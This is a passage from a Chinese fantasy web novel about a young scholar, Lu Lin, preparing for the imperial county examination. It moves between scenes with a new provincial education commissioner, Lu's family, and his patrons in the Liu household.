“确实,谁不知道新任学政魏大人,是当朝宴首辅亲手提拔起来的门生。” “不仅是门生,甚至是当成下一代宴党的中流砥柱来培养,要不然这个年龄就能外放一省学政?” 在场的都是消息灵通之辈,谁都知道新任学政魏长青,绝非等闲之辈。 年未而立,便已是翰林院的侍讲学士,距离大学士仅一步之遥。 更是今上钦点的状元。 据说当年殿试,他的策论文章被送到御前,首辅只看了一眼,便盛赞其有经天纬地之才。 这样的人物,前途无量,早已被打上了宴党的烙印。 此刻,柳老爷的出现,在众人眼中,便有了另一层深意。 “莫不是京里的风向变了?” “我看是柳阁老在朝中顶不住压力了,这是让儿子过来,主动向宴首辅示弱呢。” “八成是了,宴首辅如今权倾朝野,柳家再硬气,也得低头啊。” 一声声的议论,柳老爷却恍若未闻,目光只是平静地望着浩渺的江面。 …… 官船之上,一间素雅的船舱内。 魏长青身着一身寻常的青色官袍,正临窗而坐,手中捧着一卷书,神色淡然。 他看上去比传闻中更加年轻,眉眼清俊,气度不凡。 一个老管家轻手轻脚地走了进来,躬身禀报。 “大人,船已靠岸。” “码头上,临安知府与府城各大家族的人,都来迎接了。” 魏长青嗯了一声,脸上没有丝毫意外。 官场上迎来送往的场面,都是惯例。 “柳家的人,也来了。” 魏长青翻动书页的手指,在空中微微一顿。 他抬起眼,目光平静地落在老管家身上。 “哪个柳家?” “清河柳家。”老管家连忙回答。 老管家不用过多解释,清河柳家就已经足够了。 能够用一县之地做代表。 除了当朝柳阁老,还能有谁。 魏长青的目光重新落回书卷上,眼神微微闪烁。 柳阁老是出了名的硬骨头,在朝中处处与首辅作对,政见出了名的不合。 柳阁老的儿子跑到这临安府来迎接自己? 是来示威的?还是来试探的? 又或者,真如外界传言那般,柳阁老在朝中失势,不得不低头服软了? 一个个念头在魏长青脑海中闪过,脸上渐渐浮现出笑意。 有意思。 他放下书卷,缓缓站起身。 “走吧,去会会这些临安府的同僚们。” 第40章 魏长青的态度 官船的甲板上,魏长青的身影甫一出现,码头上嘈杂的议论声便戛然而止。 众人纷纷躬身行礼,山呼“恭迎学政大人”。 魏长青在一众官员的簇拥下,走下舷梯,脸上挂着温和得体的笑容。 他对着众人微微拱手,声音清朗,字正腔圆。 “诸位同僚,不必多礼。” “临安府文风鼎盛,人才辈出,本官奉皇命而来,只盼能为临安文坛,再添几分气象。” “日后,还需仰仗诸位鼎力相助。” 一番话说得滴水不漏,既有上官的气度,又全了同僚的面子。 听着这番场面话,柳老爷站在人群之后,嘴角带笑。 果然是宴党中人,惯会说这些冠冕堂皇的漂亮话。 不过,这样也好。 璘哥儿,终于可以下场了。 ............ 翌日,府城,圣院学宫。 这里是大夏王朝派驻各省的科举主官,学政大人办公与居住之所。 学宫朱红色的高墙上积着厚厚的白雪,檐角的神兽在寒风中沉默肃立。 魏长青的管家福伯正指挥着仆役,清扫庭院中的积雪。 他刚安排妥当,一个衣着华贵的男子便满脸堆笑地迎了上来,手里还捧着一个精致的锦盒。 “福管家,小人是府城张家的,特来拜见学政大人。” 福伯脸带微笑,目光却并未在那个锦盒上停留分毫。 “我家大人昨日才刚刚到任,一路舟车劳顿,今日怕是没空见客。” “您的拜帖,自然会为您呈上去。” “至于大人见与不见,就不是老奴能决定的了。” 对方还想再说些什么,可看着对方那副油盐不进的模样,只能讪讪地将拜帖留下,退了出去。 福伯看着那人离去的背影,心中暗自摇头。 老爷这才上任第一天,想走门路的人,就已经快把学宫的门槛给踏破了。 福伯转身,捧着一叠厚厚的拜帖,穿过回廊,走向后方的书房。 书房内,魏长青并未在处理公务。 他静静地站在窗前,看着庭院中那棵被白雪覆盖的古松。 听到脚步声,他才回过头。 “老爷,这是今天早上收到的拜帖。” 福伯将那叠厚厚的拜帖,轻轻放在了黄花梨木的书案上。 魏长青的目光扫过那高高的一摞,眉头微不可查地蹙了一下。 随手拿起最上面的一张。 “府城张家,有子八岁,能诗善对,望大人一见……” 魏长清的脸上,看不出什么表情。 他又拿起第二张。 “府城李家,有孙九岁,过目不忘,三日成诵……” 第三张,第四张…… 无一例外,全是举荐家中神童的。 魏长青的脸色一点点的沉了下去,但却一点也不意外。 自己决定投身宴党,明哲保身,就该想到会有被首辅大人的声名所累一天。 世人皆以为他魏长青,也是走了首辅的路子,靠着神童的名号才平步青云。 上行下效。 临安府这些世家大族,便也以为他好的是这一口,削尖了脑袋想往他这里塞人,好走一条捷径。 可笑。 若是真正的神童也就罢了,可这年头,真是什么人都敢妄称神童。 魏长青心中冷笑,随手翻开拜帖后附上的几篇诗文。 只看了一眼,他便将纸张扔在了桌上。 “滥竽充数!” “狗屁不通的文章,矫揉造作的诗词!” “这就是他们口中的神童?” 他本以为临安府文风鼎盛,能为朝廷觅得几位真正的国之栋梁。 可如今看来,偌大一个临安府,竟全是些想走捷径的投机之辈吗? 他来临安府要做的是为国举才,而不是陪他们玩什么神童的闹剧。 “福伯。” “老爷有何吩咐?” “把这些拜帖都扔了。”魏长青的目光扫过一地狼藉,眼中再无半分温和。 “另外,你亲自去办一件事。” “派人去府城各处坊间查访,将临安府地界内,所有薄有声名的学子,无论出身贵贱,无论年岁几何,把他们近一两年的文章、策论、诗词,凡是能找到的,全都给我找来。” 福伯心中一凛,立刻明白了老爷的用意。 这是要亲自下场,去沙砾中淘金了。 魏长青走到窗前,推开窗,一股夹杂着雪沫的寒风,瞬间灌了进来。 “我要亲自过目。” “我不信。” “这钟灵毓秀的临安府,会连一个真正的读书人,都找不出来。” ............ 文庙街,卢家小院。 清晨的寒意透骨。 这个时间点,街坊邻居们都还沉睡在梦乡之中。 而卢璘已经早早起来,天寒地冻,漫天大雪也只穿着一身单薄的青衫,立在院中那块半人高的青石板前。 他手腕悬空,指尖稳稳捏着一杆狼毫,笔尖在光滑的木板上游走。 这是一直以来养成的习惯,晨起练字。 自蒙学起,冬练三九,夏练三伏,这些年从未间断。 一个多时辰后,堂屋的门帘被掀开。 刚起身的李氏一眼就看到了院中的儿子,心疼得直皱眉。 “又起这么早。” “天这么冷,也不多穿件衣裳,快回屋里去,仔细冻坏了身子。” 李氏嘴里念叨着,转身就准备回房给卢璘添件厚实的棉袄。 可她刚一回头,脚步却猛地顿住。 漫天飞舞的鹅毛大雪,洋洋洒洒,落到儿子身前三寸处,却悄无声息地滑落开去,竟片雪不沾身。 李氏揉了揉眼睛,满脸都是惊奇。 这些年,卢璘虽未曾下场科考,文位始终停留在蒙生。 可日积月累的才气早已悄然滋养着他的身躯,寒暑不侵,远非寻常少年可比。 听到李氏的声音,卢璘收了笔,转过身,笑着说: “娘,我年纪小,火气旺,不冷的。” “您不用担心。” 话音刚落,卢厚也披着衣服从屋里走了出来,手里已经拿上了出门要用的扁担。 “今天菜场新到了一批下水,我得赶紧去,不然被人买光了。” 李氏一听,气就不打一处来,嗔怪地瞪了丈夫一眼。 “让你关店你不听,非要顶着这大雪出去。” “你真当自己是救苦救难的活菩萨了?” 卢厚也不争辩,只是咧开嘴,露出一口白牙,憨厚地笑了笑,挑起扁担便走出了院门。 又过了半个时辰,卢璘练完了字,回到堂屋,从书架上抽出一卷书册。 书页泛黄,上面是沈夫子特意为他搜集来的,本朝历代经典的策论文章。 第41章 雪中见骨,诗里藏锋。 卢璘看得入神,连院门被推开的声音都未曾察觉。 直到一个熟悉的身影,带着一身寒气,站到了他的面前。 “璘哥儿。” 进来的王管事,看到卢璘正捧着书卷,目光专注,心中不由得暗自感叹。 被夫子压着这么多年,迟迟不让下场科考,寻常少年郎怕是早就心浮气躁了。 可璘哥儿,却始终能沉下心来,读书不辍。 单是这份心性,就远超常人。 卢璘见到来人放下书卷,站起身。 “王管家,你怎么来了?” 难不成少爷又惹什么祸事,让自己回府一趟? 王管事脸上带着笑,也不绕弯子。 “老爷让您回去一趟。” 卢璘心中微动,目光平静,不是少爷?老爷有事? “可是冰玉轩有什么事?” “这个……老奴也不清楚。” 王管家摇了摇头:“不过看老爷那样子,从早上起,嘴角的笑就没停过。” “想来,定是天大的好消息。” 卢璘闻言,心中了然,将桌上的书卷收好。 转身跟正在厨房忙活的李氏打了声招呼。 “娘,我回柳府一趟,不在家吃饭了。” 李氏从厨房探出头,手里还拿着一根沾着面粉的擀面杖。 “正好,把你三婶昨儿从村里捎来的那些瓜果蔬菜带上。” “夫人就爱吃这口新鲜的。” 卢璘应了一声,提上那个装满了新鲜蔬菜的竹篮,跟着王管家,走出了小院。 ......... 柳府内,青石板路上的积雪已被清扫干净,露出湿漉漉的地面。 卢璘提着竹篮,跟在王管家身后,一路穿行。 府里的家丁丫鬟们,无论在忙什么,见到他,都会远远地停下脚步,躬身行礼,脸上带着真挚的笑。 “璘哥儿。” 一声声亲切的呼唤,不绝于耳。 这份尊敬,并非只因他是少爷的伴读,深得主家喜爱。 柳府有个不成文的规矩,所有下人,无论年岁,都需在府里的私塾蒙学识字。 最初几年,是沈夫子亲自教导。 可自从把卢璘教出来后,沈夫子便做了甩手掌柜,后面几年的蒙学,都由卢璘代劳。 不夸张地说,卢璘算是柳府这满院子家丁下人的半个老师。 更何况,那日进斗金的冰玉轩,正是出自卢璘的手笔,柳府赚得盆满钵满,下人们的月钱,也跟着水涨船高。 端人饭碗,承人恩惠,这份敬意,发自肺腑。 一路走走停停,清心园近在眼前。 还未踏入拱门,老爷的声音就飘了出来。 “惯会说些冠冕堂皇的漂亮话。” “难怪年纪轻轻,就能外放一省学政,原来是个只知钻营取巧之辈。” “宴党中人,皆是如此!” 紧接着,是夫人林氏的劝慰。 “老爷,慎言,祸从口出啊。” 老爷冷哼一声:“慎言又有何用?” “只要我爹一日在朝堂上与那宴居老儿掐着,我这个做儿子的,就算把好话说尽,又有谁会信?” “人家只会觉得我柳家心口不一,虚伪至极!” 卢璘的脚步,微微一顿。 新学政。 宴居。 这些词,他并不陌生。 虽然还未真正踏足大夏的官场,但宴居这个名字,早就听过不止一次。 几年前柳老太爷回乡探亲时,几乎是日日把这个名字挂在嘴边,咬牙切齿地痛骂。 卢璘心中微动,提着篮子,迈步走了进去。 暖阁内,兽首铜炉里烧着上好的银霜炭,暖意融融。 柳老爷与沈夫子正对坐弈棋,夫人林氏在一旁烹茶。 见到卢璘进来,林氏脸上的忧色瞬间散去,脸带笑意。 “璘哥儿来了。” 老爷与沈夫子不约而同地抬起头,虽然没有说话,但那双如出一辙的眼睛里,满是藏不住的满意。 卢璘放下竹篮,对着三人恭敬地行了一礼。 “老爷,夫人,夫子。” 老爷捻起一枚黑子,目光却落在卢璘身上。 “可知今日唤你回府,所为何事?” 卢璘摇了摇头,心中却已有了几分猜测。 事关新学政,想来,与今年的童试脱不了干系。 沈夫子放下手中的棋子,目光温和。 “压了你这几年,迟迟不让你下场科考,心中可有怨言?” 卢璘摇了摇头,迎上夫子的目光,神色平静。 “学生不敢。” “夫子自有深意,学生只管安心读书便是。” 沈夫子闻言,脸上露出一丝笑意,他抬起手,指了指窗外。 “你看那棵松树。” 卢璘顺着夫子的手指望去。 院角那棵青松,被厚厚的积雪压弯了腰,却依旧青翠,不见一丝折断的痕迹。 “雪压青松,弯而不折。” 卢璘心中了然,瞬间明白了夫子的意思。 这几年的压制,不是打压,而是磨砺。 磨的是他的心性,是希望他能如这雪中青松一般,不因外力而折损了锐气,不因困顿而消磨了本心。 卢璘后退一步,对着沈夫子,深深一揖。 “多谢夫子教诲,学生明白了。” 沈夫子心中再无半分疑虑。 悟性,心性,学问,这孩子,样样都是顶尖。 再压下去,就不是磨砺,而是磋磨了。 他收回目光,缓缓开口: “去准备吧。” “下个月,参加县试。” 卢璘闻言,脸色不见悲喜,恭敬地点了点头。 胸中却有一股气莫名激荡。 无数个深夜苦读的场景,在眼前飞速闪过。 那支被磨秃了的狼毫。 那盏燃尽了灯油的烛火。 那份迟迟不能下场的困惑。 那份对夫子无条件的信任。 所有的坚持与等待,在这一刻,都有了答案。 一股清气自胸中而起,直冲天灵。 无数个日夜的困惑与坚持,在这一刻豁然贯通。 窗外,夫子指过的那棵青松周身覆雪,却弯而不折。 脑海之中,一首诗悄然浮现。 卢璘迈步走出屋内,边走边吟: “大雪压青松,青松挺且直。” “要知松高洁,待到雪化时。 诗成,达府! 才气三寸,光芒凝实,一府之地共鸣。 紧接着一股无形的浩然之气,以卢璘为中心,轰然散开。 他身周三寸,浮现出一层淡淡的白光,将他整个人笼罩其中。 光芒越来越盛,瞬间便充满了小院。 清心园中,漫天飞舞的鹅毛大雪,突然停滞。 洋洋洒洒的雪花,仿佛被一道无形的屏障隔绝在外,再不能落入园中分毫。 老爷与林氏目瞪口呆地看着眼前一幕,一个字都说不出来。 唯有沈夫子缓缓站起身,看着雪幕中那道如玉树般挺立的身影,嘴角的皱纹如老梅绽开,缓缓抚掌三声: “好!好!好!” “雪中见骨,诗里藏锋!“ 第42章 探囊取物的大伯 转眼,一个月悄然而过。 文庙街的清晨,和以往一样安静。 卢家小院内,却早早就有了动静。 即便是明天就要参加第一场考试,卢璘依旧早起晨练。 院中那块半人高的青石板上,密密麻麻的写满了小字。 大夏的童试,共分三场。 首场县试,就在清河县本地的考院举行,连考三日。 第一天考的是经义文章,从五经之中择一命题。 第二天考诗词等应用文。 最后一日,则是策论,考校学子对时政的见解。 这一个月,卢璘没有再去柳府。 《劝学》特效【研读经史子集等经典效率翻倍】,沈夫子那点存货,早就被他掏得一干二净。 夫子在交代完考试的诸多细节后,便彻底做了甩手掌柜,只让他安心在家温书,说是教无可教了。 卢璘便也乐得清闲,每日除了温书,便是给妹妹小石头开蒙。 偶尔闲下来,也会去自家的卢记下水铺子里帮帮忙。 去的次数多了,铺子里的老主顾们,也都知道了卢家这小子,今年要下场科考。 只是没人把这事放在心上。 毕竟卖下水的,在清河县里,也算是最底层的行当,赚的都是分分角角的辛苦钱。 读书科举,那是何等费钱费时的大事。 寻常人家,哪有那个底蕴去供养。 在他们看来,这孩子去考,也就是去见见世面,长长见识罢了。 ........... 不多时,结束晨练的卢璘收拾好,正准备回屋看书。 吱呀一声,院门被推开。 三婶陈氏笑脸盈盈地提着一篮子刚从村里摘的蔬菜,探头探脑地走了进来。 “璘哥儿,准备得怎么样了?” 三婶将篮子放在石桌上,目光在卢璘身上打量了一圈。 “看你这模样,倒是不紧张。” 不止三婶,整个下河村卢家都知道了卢璘要参加科举的事了。 连带着卢老爷这段时间在下河村都硬气了不少。 闲着没事,就去大槐树下闲逛。 而且不管乡亲们聊什么话题,不出三句,就得被卢老爷带到孙子参加科举上。 “吃了不?卢叔” “什么?你也知道我12岁的孙子要参加科举?” 不过对话往往以卢老爷被别人怼得说不出话结束。 “你儿子都考了这么多年了,也该轮到你孙子了...” “你们一群乡野鄙夫,懂个屁啊!” 卢老爷气得拂袖而去。 ........ 三婶放下带来的东西,又从怀里掏出一个香囊递给了卢璘,神秘兮兮地开口道: “璘哥儿,这是你爷从神婆那里求来的,开了光的,你可得好好戴着,说是能保佑你逢考必过。” 卢璘接过香囊,心里一阵无语。 还逢考必过,那神婆怎么不自己下场。 不过卢璘也知道是祖父的一番心意,没有拒绝。 三婶则在一旁继续念叨: “我跟你说啊,璘哥儿,这第一次下场,就当是去积攒经验的。” “放宽心,别有压力。” “你年纪还小,以后机会多的是,不差这一次。” 正在厨房里忙活的李氏走了出来,听到这话,深以为然地点了点头。 “你三婶说得对。” “你大伯考了几十年,如今不也还是个童生。” “你这才哪到哪,有的是时间慢慢考。” 提到大伯,李氏的脸色又不好了。 当年,自家男人那条腿,就是被大伯借印子钱给害的。 他们一家三口,更是被硬生生赶出了卢家大门。 可自从他们家的下水铺子开起来,日子越过越红火,大伯又舔着脸凑了上来。 最让她来气的,还是自家男人那不争气的软弱性子。 嘴上说着断了关系,可背地里,还是会偷偷摸摸给钱。 孝敬公公婆婆,李氏没意见。 可谁不知道,那些钱最后都落到了大房那个无底洞里。 想到这里,李氏又狠狠地瞪了一眼,刚从屋内走出来的卢厚。 卢厚被瞪得莫名其妙,不知道又哪里点着了自家媳妇。 只能闷着头蹲在地上,仔细检查着卢璘明天要带进考场的考篮。 毛笔,墨锭,砚台,还有几张备用的草纸,生怕漏了哪一样。 李氏看着丈夫那副闷葫芦的样子,骂也不是,打也不是,最后只能重重叹了口气。 不过李氏平时骂归骂,可等三婶要走的时候,还是从怀里摸出两块碎银子,塞了过去。 “老三家的,这个你带回去,给爹娘买点好吃的。” 卢厚闻言咧开嘴,憨厚地笑了起来。 ........... 回到下河村的三婶陈氏提着空篮子,快步往家里走,还没到院门口,就听见自家院子里传来一阵喧闹。 其中一个声音尤其响亮。 陈氏都不用走近,也知道是她家那个读了半辈子书,也没读出个名堂的大伯。 “……所以说,这次的县试,于我而言,不过是探囊取物罢了。” 三婶一推开自家小院的门,果然看见大伯正被一群村民围在中间,唾沫横飞。 不止大伯在,村里好几个爱嚼舌根的闲汉都凑在这,一个个伸长了脖子,听得津津有味。 “他家大伯,你去年也是这么说的。”人群里,一个促狭的声音响起。 大伯的脸皮厚比城墙,闻言半点不恼,反而摆了摆手,一副高人风范。 “此一时彼一时。” “去年不过是些许失误,即便如此,我的名次在整个县里,那也是排得上号的。” “今年我准备得更加周全,已是手拿把掐,稳如泰山。” 他这番话说得底气十足,倒真唬住了不少人。 毕竟考了这么多年,就算是个榆木疙瘩,也该开窍了。 卢老爷蹲在门槛上,吧嗒吧嗒地抽着旱烟,眉头紧锁,听着大儿子在外面吹嘘,脸上不见半分喜色。 直到看见三婶回来,他才掐灭了烟锅,站起身。 “老大,你进来。” 大伯意犹未尽地跟乡亲们拱了拱手,这才施施然走进院子。 “爹,您找我?” 卢老爷也不知道他到底有几分把握,不过考了这么多年,一家子希望都系在儿子身上,已经成了习惯。 不过今年却有了点变化。 不止儿子参加,连孙子也下场了。 “璘哥儿,这次也参加了,这事你知道吧。” 大伯点了点头,挺起胸膛,一副大包大揽的样子。 “爹,您就放心吧!” “这事,包在我身上!” 紧接着话锋一转,脸上带着几分过来人的优越。 “不过话说回来,璘哥儿年纪还小,这次去,就当是见识见识场面,熟悉熟悉章程。” “能不能考上,都是次要的,别给他太大压力。” 第43章 崔氏 院门口还没散去的村民们听到这话,纷纷点头附和。 “就是,他大伯说得对,那孩子才多大,去长长见识就不错了。” “可不是嘛,读书科举是大事,哪能一蹴而就。” 三婶听着这些话,撇了撇嘴,拉着刚从屋里出来的婆婆,快步走进了偏房。 她从怀里掏出那两块碎银子,小心翼翼地塞到婆婆手里。 “娘,这是二嫂给您二老的。” 祖母瞅了眼外面,见没人看到,这才仔细把银子藏了起来。 可门外,眼尖的大伯恰好瞥见了这一幕。 一边应付着卢老爷,一边琢磨着怎么问家里再拿点钱。 大伯眼珠子滴溜一转,脑袋里立马有了主意。 等到三婶和婆婆出来,装作不经意地凑到祖母身边。 “娘,有件事,我想跟您商量一下。” “您也知道,科举这事,光靠死读书是不行的。” “人情往来,打点关系,那都是学问。” 祖母警惕地看了他一眼。 “你又想做什么?” 大伯露出一副全是为了侄子的表情,痛心疾首道:“娘,您想到哪去了!” “我是想着,我认识几位在县里极有声望的同窗,这次县试,他们也都下场。” “我想着介绍给璘哥儿认识认识,多条朋友多条路嘛。” “只是……这人情往来,总不能空着手去,我最近手头实在是……” 还没等祖母开口,一旁的卢老爷咳嗽了几声,斜眼看了大伯一眼。 这些年,老二家日子好起来了,也没忘了他们二老,时不时就托人捎钱捎东西回来。 家里确实攒下了一点积蓄。 为了孙子的前程,花点钱打点关系,似乎也是应该的。 可一想到大儿子之前的那些混账事,卢老爷心里又有些打鼓。 大伯见有戏,赶紧又添了一把火,凑到卢老爷身边。 “爹,这钱是为了璘哥儿花的,也是为了咱们卢家的脸面啊!” “等我这次考中了秀才,璘哥儿再有贵人提携,咱们卢家,可就真的要起来了!” 卢老爷长长地叹了口气,终究还是被说动了。 冲祖母点了点头,祖母这才不情不愿地解下腰间的钱袋,从里面数出三两银子,递了过去。 “这钱,是给璘哥儿铺路用的。” “你给我用在正道上,要是让我知道你又拿去胡混……” “爹您放心!” 大伯一把抢过银子,拍着胸脯保证。 “我保证,一文钱都不会乱花!” .......... 与此同时 柳府,清心园。 暖阁内,上好的银霜炭在兽首铜炉里烧得通红,没有半分烟火气。 阁外,却是另一番天地,风雪依旧肆虐。 王管事踩着湿漉漉青石板,快步走入暖阁。 他躬着身,手里捧着一叠整理得整整齐齐的文书。 “老爷,您要的东西,都整理好了。” 老爷正与夫人林氏对弈,闻言,他捻着一枚黑子的手在空中微微一顿,目光从棋盘上移开。 王管事将文书恭敬地呈上。 上面详细记录了此次清河县参加童生试的,所有薄有声名的学子。 家世背景,师从何人,过往文章,一应俱全。 老爷接过文书,一页页翻看着,脸上的神情却愈发凝重。 原本舒展的眉头,不知不觉间拧成了一个川字。 良久,他放下文书,长长地叹了口气。 “这次让璘哥儿下场,也不知是好事,还是坏事。” 一旁正烹茶的林氏闻言,手上动作一滞,抬起头,眼中满是疑惑。 “老爷这是何意?” “璘哥儿的学问,您又不是不知道,连沈夫子都说教无可教,还有什么可担心的?” 柳老爷摇了摇头,指了指桌上那叠文书。 “他的学问,我自然信得过。” “可天下英雄如过江之鲫,大夏朝统御千万里疆土,什么天才都有可能。” “就看这次,光是清河县下场的学子中,有几个声名在外的,都不是易于之辈。” 柳老爷抽出其中一张纸,单独放在桌上。 “尤其是这个,崔皓。” 林氏的目光落在那个名字上,起初并未在意。 可当她看到老爷紧皱的眉头时,才反应过来,试探性的开口: “是那个崔家?” 老爷的点了点头:“没错,博陵崔氏。” 此言一出,夫人愣在了原地。 博陵崔家。 五姓七望之一,这是真正的千年世家。 大夏王朝真正的庞然大物,其底蕴之深厚,远非柳家这种靠着两代人起来的门户可比。 旁人读书,是寒窗苦读,求一本经义而不可得。 崔家子弟读书,却是坐拥万卷藏书,其中不乏连圣院都寻不到的孤本善本。 旁人求学,是寻访名师,三跪九叩,只为得几句指点。 崔家子弟求学,却是自有当世大儒坐镇族中,自蒙学起,便亲自教导。 二者之间的差距,有如云泥。 林氏好半天才回神,满是疑惑: “崔家子弟,为何会来我们这小小的清河县参加县试?” 这种真正的天之骄子,不是应该在京城,或是在那些文风最盛的州府,一鸣惊人吗? 柳老爷摇了摇头,眼中带着几分凝重。 “崔家这种门楣,其门生故吏,早已遍布天下。” “他们的触角,早已伸到了读书人的每一个阶层,在临安府这等文脉昌盛之地,有所布局,再正常不过。” 林氏沉默了。 心里对卢璘信心,第一次出现了动摇。 而且最担心的不是卢璘会考不过。 而是另一件事。 “夫君,你说……璘哥儿这一路走来,是不是太顺了些?” 林氏的脸上,浮现出浓浓的忧色。 “沈夫子将他护得太好,我们也将他捧得太高。” “他从未经历过真正的挫折,若是这次……让他亲眼见识到和那种真正的天才之间的差距,……会不会失了心气,从此一蹶不振?” 这才是最可怕的。 心气一失,文胆蒙尘,日后想要再进一步,难如登天。 老爷看着妻子担忧的模样,伸出手,轻轻拍了拍她的手背。 “他想在这条路上走得长远,迟早会遇到这些人,躲是躲不掉的。” “早些遇到,未必是坏事。” “而且我们要对璘哥儿有信心才是。” 老爷的目光望向窗外,一个月前,璘哥儿正是在清心园内创作出了一首达府之作。 “大雪压青松,青松挺且直。” “要知松高洁,待到雪化时。” 老爷不相信,能咏出这种作品的璘哥儿,会因为科举路上的第一关,就失了心志。 “知耻而后勇,也是一种磨砺。” 老爷顿了顿,既是安慰妻子,也是在安慰自己。 “好在咱们对璘哥儿要求也不高。” “对手太强了,能顺利地通过院试,考中秀才足矣。” 话虽如此,林氏眼中的担忧,却未曾消散。 第44章 有人星夜赶考场 府城,圣院学宫。 书房内,学政魏长青正端坐于书案后,手中翻阅着一份卷宗。 老管家福伯轻手轻脚地走了进来,将一叠新整理好的文书,恭敬地放在了桌上。 “大人,这是清河县那边呈上来的学子名册。” 魏长青“嗯”了一声,目光并未从手中的卷宗上移开。 因为神童拜帖一事,魏长青对清河县地域的观感不是很好。 福伯迟疑了一下,还是躬身向前,伸出手指,点在了名册最上方的一个名字上。 “大人,这其中有一人,身份颇为特殊。” 魏长青的动作终于停下,他抬起头,顺着福伯的手指看去。 崔皓。 一个很普通的名字。 魏长青的眉头微微一挑。 “崔家?” “正是博陵崔氏。” 魏长青的眼神瞬间变了。 放下手中的所有卷宗,将那份清河县的名册单独抽了出来,身子也不由自主地坐直了几分。 “可是嫡脉?” “回大人,正是嫡脉。”福伯恭敬地回答。 “据老奴查访,这位崔皓公子,乃是崔家那位大儒的嫡亲孙辈,自小便由那位大儒亲自带在身边教导。” 魏长青的指尖,在崔皓两个字上轻轻敲击着。 千年世家,博陵崔氏。 还是由那位在士林中声望极高的大儒亲自教出来的嫡孙。 这样的人物,竟然会出现在清河县这种小地方的童试考场上。 “把他的文章取来我看。” “是。” 福伯早有准备,从怀中取出一叠装订整齐的纸张。 上面是崔皓近几年来流传在外的诗词文章。 魏长青接过,一言不发,细细品读起来。 书房内,只剩下纸张翻动的沙沙声。 魏长青的表情,从最初的审视,逐渐变为专注,最后化作了毫不掩饰的欣赏。 良久,他长长地吐出一口气,将手中的文章轻轻放在桌上。 “不愧是崔家。” 他闭上眼,脑海中回味着方才读过的内容。 “此子年岁不大,文章却已然老道,字里行间,章法森严,不见半分少年人的浮躁之气。” “隐隐可见那位大儒的风骨。”魏长青睁开眼,看向福伯,语气中带着几分感慨。 “此次童试,不出意外的话,此子当为魁首。” 福伯闻言心中也是一凛。 能得自家老爷如此高的评价,这位崔家公子的学问,可见一斑。 刚准备抬头附和夸几句,又看到老爷的脸色突然沉了下来。 “我记得前不久,光是清河县递上来的神童拜帖就不下于十份....” “真正的神童视而不见,滥竽充数的倒是屡见不鲜。”魏长青冷哼一声。 一个热衷于投机取巧,沽名钓誉的地方,却偏偏对崔皓这种有着真才实学的藏着掖着。 真是讽刺。 “这清河县,除了这个崔皓,可还有其他拿得出手的人才?” 福伯闻言,连忙又呈上另一份薄了许多的名册。 “回大人,县中还有几位薄有声名的学子。” “县学教谕的儿子王景,文章四平八稳。” “本地乡绅李家的李茂,据说诗才不错……” 福伯念了几个名字,都是些在本地小有名气的读书人。 魏长青静静地听着,脸上的表情却没有任何变化。 耐心地等福伯说完后,魏长青才点了点头: “福伯,收拾行装,明天去清河县瞧个真切...” ............. 翌日,天还未亮。 整个柳府却早已喧闹了起来,比往日提前了整整一个时辰。 今天是清河县童试开考的日子。 对柳府而言,这更是一件大事。 加上卢璘,这次童试,柳府共有五人一同应考。 大夏朝的童试规矩繁琐。 应考者,需先到本县县学报名,详录姓名、籍贯、年龄以及祖上三代履历。 除此之外,还需五人联名作保,以防有人冒籍顶替。 最关键的一环,是必须由本县的一位廪生出面担保。 所谓廪生,乃是秀才中的佼佼者,由朝廷按月发下钱粮,让他们能摒除俗务,专心治学。 能得廪生作保,本身就是对学子品行与学问的一种认可。 柳府这次下场的正好是五人,互相联保,省去了不少麻烦。 至于廪生担保,对柳老爷来说,更不是什么难事。 卢璘的身份文书,早已由王管家办妥,籍贯是柳家书童。 一切准备就绪,只待今朝。 清心园内,卢璘与另外四名伴读,身着统一的青色襕衫,静静肃立。 老爷负手而立,目光从五个少年身上一一扫过,最后落在卢璘身上。 “今日下场,平常心对待即可。” “你们年纪都还小,此次就当是去见识场面,不必有任何压力。” 夫人林氏也走了过来,手里拿着几件新做的狐皮斗篷,亲自交在几个少年手上。 “老爷说得对,尽力就好。” 话音刚落,一旁的少爷却不乐意了,一把揽住卢璘的肩膀,冲着老爷夫人撇了撇嘴。 “爹,娘,你们这是瞧不起谁呢?” “璘哥儿的学问还用质疑,小小的童试还不是有手就行。” 说完,转头又对卢璘挤眉弄眼: “璘哥儿,你可要记得,你不是一个人在战斗!” “你身上还背着我那份呢,给咱们考个案首回来,让他们都开开眼!” 夫人林氏瞪了少爷一眼,混小子,有你什么事。 正处于叛逆期的少爷挺着胸膛,目光扫了一圈,没看到夫子的身影,一下更来劲了。 “看见没,沈夫子今天都没来。” “知道为什么吗?因为夫子对璘哥儿有信心,知道他稳操胜券,根本用不着他老人家来送!” 林氏闻言,暗自摇头。 傻小子,案首哪里是那么好考的。 若是放在往年,以璘哥儿的学问,或许真有几分希望。 可今年……只怕是悬了。 自始至终,卢璘都只是静静地听着。 等老爷交代完一些该注意的点后,这才对着老爷与夫人,恭恭敬敬地躬身一揖。 “学生明白。” 沉稳如山,不卑不亢。 第45章 书童下场 卯时未至,晨光熹微。 柳府的大门缓缓开启,吱呀作响。 寒风裹挟着冰冷的湿气,扑面而来。 卢璘与另外四名参考的柳府家丁,身着统一的青色襕衫,从柳府大门内走出。 五个人几乎每一个人身上都背着沉甸甸的行囊。 厚实的毛毯,松软的褥子,甚至还有小巧的铜制手炉。 大夏的童试,一入考场便要待足一整天,吃喝拉撒,都需自备。 卢璘的身上,除了这些,手上还提着一个塞得满满当当的提篮。 提篮里,是父亲亲手做的卤味下水,用油纸包得整整齐齐。 还有夫人林氏准备的各色果脯糕点,以及一个装满了热水的竹筒水壶。 东西实在太多了。 尽管卢璘如今十二岁的身形,早已比同龄人高出大半个头,此刻却还是被这一堆东西压得都快找不着人了。 “璘哥儿,我来帮你拿吧。”同行中年纪最大的家丁刘安主动提议。 他们四人这次下场,纯粹是走个过场。 就是为了凑够五人联保的名额,好让璘哥儿能顺利报名。 至于考中,那是想都不敢想的事。 “不用。” 卢璘摇了摇头,拒绝了刘安的好意。 看上去东西多,可在他手里,却感觉不到多少分量。 这点重量,还不如他每日晨练时,悬腕练字来得费力。 一行人默默地走在清河县清晨冷寂的街道上。 不多时,县学考院那堵高墙,便出现在视野中。 考院门前,早已是人头攒动。 黑压压的一片,全是前来应考的学子,粗略看去,不下数百人。 有的踌躇满志,自信满满,有的焦虑担心,胡乱张望,也有的学子波澜不惊,面不改色。 卢璘的目光在人群中一扫,一眼就看到人群不远处的大伯。 此时的大伯并没有像其他考生那样老老实实地排队。 